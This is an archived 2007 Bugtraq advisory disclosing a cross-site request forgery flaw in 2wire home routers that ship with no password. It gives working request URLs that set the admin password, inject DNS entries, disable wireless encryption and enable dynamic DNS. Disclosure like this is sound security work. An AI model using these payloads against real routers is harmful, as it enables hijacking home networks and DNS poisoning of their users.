| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20070815054810.24321.qmail@securityfocus.com> Date: 15 Aug 2007 05:48:10 -0000 From: hkm@...im.ws To: bugtraq@...urityfocus.com Subject: Cross Site Request Forgery in 2wire routers Cross Site Request Forgery in 2wire routers Vulnerable Routers: 1701HG, 2071 Gateway Software: v3.17.5, 5.29.51 Password Not Set (default) Greetz a la Comunidad Underground de México, y a los que me ayudaron a probarlo: Preth00nker, nitr0us, ... hkm@...im.ws I. Background ------------- This is the most popular router in Mexico and the default installation from the ISP has no system password. II. Vuln ---------------- It is possible to send a request to the router that will modify its configuration. It does not validate POST, or Referer or Anything... II. Exploit ---------------- We just need the client to do a request to the router with the configuration we desire. [examples] Set a password (NUEVOPASS): http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS Add names to the DNS (216.163.137.3 www.prueba.hkm): http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.prueba.hkm&ADDR=216.163.137.3 Disable Wireless Authentication http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0 Set Dynamic DNS http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE Disable the Firewall Reset the device Etc... DNS Poisoning demo: http://www.hakim.ws/2wire/demodns.html
Powered by blists - more mailing lists